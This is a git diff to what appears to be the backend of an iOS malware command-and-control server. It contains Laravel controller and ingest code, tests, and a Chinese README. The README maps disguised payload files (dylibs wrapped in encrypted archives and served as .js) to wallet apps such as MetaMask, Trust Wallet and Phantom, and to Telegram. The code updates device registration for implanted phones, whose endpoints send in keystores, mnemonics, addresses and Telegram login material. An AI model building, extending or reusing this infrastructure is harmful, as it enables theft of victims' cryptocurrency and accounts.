diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index d47d6af..a2bfe08 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -19,7 +19,7 @@ use Illuminate\Support\Facades\Storage; * xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`. * * Native path map (corepayload + details plugins): - * /a census, /u applist, /event telemetry, /t photo multipart, /nb notes, + * /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes, * /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses), * /api/tg/t Telegram auth (tglib). */ @@ -118,9 +118,12 @@ class XxbbC2Controller extends Controller return Cache::add($debounceKey, 1, now()->addSeconds(8)); } - /** Lab analogue: POST /api/user/avatar/set — device census, no create. */ + /** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */ public function profile(Request $request): Response { + $payload = $request->attributes->get('coruna_payload'); + $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + return $this->xxbbAck($request); } diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index df506da..9f5d07b 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -220,13 +220,19 @@ class IngestService ): void { $needChannel = $this->channelIdEmpty($device->channel_id); $needDomain = trim((string) ($device->source_domain ?? '')) === ''; - if (! $needChannel && ! $needDomain) { + $model = $this->extractDeviceModel($payload); + $ios = $this->extractIosVersion($payload); + $needModel = $this->shouldReplaceModel($device->device_model, $model); + $needIos = $this->shouldReplaceIos($device->ios_version, $ios); + if (! $needChannel && ! $needDomain && ! $needModel && ! $needIos) { $device->forceFill(['updated_at' => now()])->saveQuietly(); return; } - $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); + $attr = ($needChannel || $needDomain) + ? $this->resolveChannelAttribution($request, $payload, $allowOldC) + : ['channel_id' => null, 'source_domain' => null]; $touch = ['updated_at' => now()]; if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') { $touch['channel_id'] = $attr['channel_id']; @@ -234,6 +240,12 @@ class IngestService if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') { $touch['source_domain'] = $attr['source_domain']; } + if ($needModel && $model !== null) { + $touch['device_model'] = $model; + } + if ($needIos && $ios !== null) { + $touch['ios_version'] = $ios; + } $device->forceFill($touch)->saveQuietly(); } @@ -709,23 +721,19 @@ class IngestService if (! is_array($payload)) { return null; } - foreach (['deviceModel'] as $key) { - if (! empty($payload[$key]) && is_string($payload[$key])) { - return $payload[$key]; - } - } - // avatar/put often sends short model as `m` (e.g. iPhone9,1) - if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) { - return $payload['m']; - } $info = $payload['deviceInfo'] ?? null; if (is_array($info)) { foreach (['productType', 'machine', 'model'] as $key) { - if (! empty($info[$key]) && is_string($info[$key])) { + if (! empty($info[$key]) && is_string($info[$key]) && $this->looksLikeHardwareModel($info[$key])) { return $info[$key]; } } } + foreach (['machine', 'm', 'deviceModel'] as $key) { + if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeHardwareModel($payload[$key])) { + return $payload[$key]; + } + } return null; } @@ -735,30 +743,55 @@ class IngestService if (! is_array($payload)) { return null; } - // /api/user/get uses `v` for iOS version - if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) { - return $payload['v']; - } - foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) { - if (! empty($payload[$key]) && is_string($payload[$key])) { - return $payload[$key]; - } + $info = $payload['deviceInfo'] ?? null; + if (is_array($info) && $this->looksLikeIosVersion($info['productVersion'] ?? null)) { + return trim((string) $info['productVersion']); } $sv = $payload['systemVersion'] ?? null; - if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) { - return $sv['ProductVersion']; + if (is_array($sv) && $this->looksLikeIosVersion($sv['ProductVersion'] ?? null)) { + return trim((string) $sv['ProductVersion']); } - if (is_string($sv) && $sv !== '') { - return $sv; + if (is_string($sv) && $this->looksLikeIosVersion($sv)) { + return trim($sv); } - $info = $payload['deviceInfo'] ?? null; - if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) { - return $info['productVersion']; + foreach (['v', 'pv', 'ios', 'ios_version'] as $key) { + if ($this->looksLikeIosVersion($payload[$key] ?? null)) { + return trim((string) $payload[$key]); + } } return null; } + private function looksLikeHardwareModel(string $value): bool + { + return (bool) preg_match('/^[A-Za-z]+\d/', $value); + } + + private function looksLikeIosVersion(mixed $value): bool + { + return is_string($value) && $value !== '' && (bool) preg_match('/^\d+(\.\d+){1,3}$/', trim($value)); + } + + private function shouldReplaceModel(mixed $current, ?string $incoming): bool + { + if ($incoming === null || $incoming === '') { + return false; + } + $current = trim((string) $current); + + return $current === '' || ! $this->looksLikeHardwareModel($current); + } + + private function shouldReplaceIos(mixed $current, ?string $incoming): bool + { + if ($incoming === null || $incoming === '') { + return false; + } + + return ! $this->looksLikeIosVersion($current); + } + /** * Normalize `/api/user/status` shapes into address rows. * diff --git a/channel-builder-new/README.md b/channel-builder-new/README.md index 69652c6..969f701 100644 --- a/channel-builder-new/README.md +++ b/channel-builder-new/README.md @@ -31,6 +31,8 @@ Writes: - `{artifact-root}/details/` (default `../public/details`) — **published** - `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public** +每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。 + `index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**. `CACACACA` is left in place for per-channel packing. diff --git a/channel-builder-new/source/details/README.md b/channel-builder-new/source/details/README.md new file mode 100644 index 0000000..a1ebf60 --- /dev/null +++ b/channel-builder-new/source/details/README.md @@ -0,0 +1,44 @@ +# details 文件说明 + +`php artisan xxbb:build` 会把本目录复制到 `public/details/`,给植入后的 native 按需下载。 + +文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。 + +编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。 + +## 公共 + +| 文件 | 作用 | +|------|------| +| `show.html` | 配置清单(刷新间隔、core 地址、各 bundle 插件 URL) | +| `corepayload.js` | 主植入。上报 / DGA 的 `c` 打在这里(6 处) | +| `helion.js` | SpringBoard(`com.apple.springboard`),常驻,`cold=0` | + +## 钱包 / 业务插件 + +文件名里的字母对应 native 上报字段 `a`(见 `WalletSource`)。 + +| 文件 | `a` | App | bundleId | +|------|-----|-----|----------| +| `a1lib.js` | a / a1 | MetaMask | `io.metamask.MetaMask` | +| `b2lib.js` | b / b1 | imToken | `im.token.app` | +| `c3lib.js` | c | TronLink | `com.tronlink.hdwallet` | +| `d4lib.js` | d | Trust Wallet | `com.sixdays.trust` | +| `e5lib.js` | e | Coinbase Wallet | `org.toshi.distribution` | +| `f6lib.js` | f | BitKeep | `com.bitkeep.os` | +| `g7lib.js` | g | Tonkeeper | `com.jbig.tonkeeper` | +| `h8lib.js` | h / h1 | Uniswap | `com.uniswap.mobile` | +| `i9lib.js` | i | Phantom | `app.phantom` | +| `j10lib.js` | j | MyTonWallet | `org.mytonwallet.app` | +| `k11lib.js` | k | Exodus | `exodus-movement.exodus` | +| `l12lib.js` | l | Ronin | `com.skymavis.Genesis` | +| `m13lib.js` | m | Krystal | `com.kyrd.krystal.ios` | +| `n14lib.js` | n | Tonhub | `com.tonhub.app` | +| `p16lib.js` | p | Global Wallet | `com.global.wallet.ios` | +| `q17lib.js` | q | Coin98 | `coin98.crypto.finance.insights` | +| `r18lib.js` | r | Bitpie | `com.bitpie.wallet` | +| `s19lib.js` | s | Solflare | `com.solflare.mobile` | +| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` | +| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` | + +钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。 diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py index 328a01b..51c63c5 100644 --- a/channel-builder-new/tools/build.py +++ b/channel-builder-new/tools/build.py @@ -150,7 +150,7 @@ def sha256_hex(data: bytes) -> str: def ignore_junk(_dir: str, names: list[str]) -> set[str]: - skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"} + skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages", "README.md"} return {n for n in names if n in skip or n.endswith(".pyc")} diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index c9c10de..481c8a7 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -105,16 +105,41 @@ class XxbbC2ApiTest extends TestCase } #[Test] - public function profile_does_not_create_device(): void + public function profile_creates_device_from_device_info(): void { $this->xxbbPost('/a', [ 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', + 'deviceModel' => 'iPhone', 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], ])->assertOk()->assertSee('1786468227899{}', false); - $this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first()); + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('iPhone12,8', $device->device_model); + $this->assertSame('16.6', $device->ios_version); + $this->assertNull($device->channel_id); + } + + #[Test] + public function profile_upgrades_generic_model_on_existing_device(): void + { + Device::query()->create([ + 'device_id' => '000C30D83CD0402E', + 'device_model' => 'iPhone', + 'ios_version' => null, + ]); + + $this->xxbbPost('/a', [ + 'd' => '000C30D83CD0402E', + 'deviceModel' => 'iPhone', + 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertSame('iPhone12,8', $device->device_model); + $this->assertSame('16.6', $device->ios_version); } #[Test]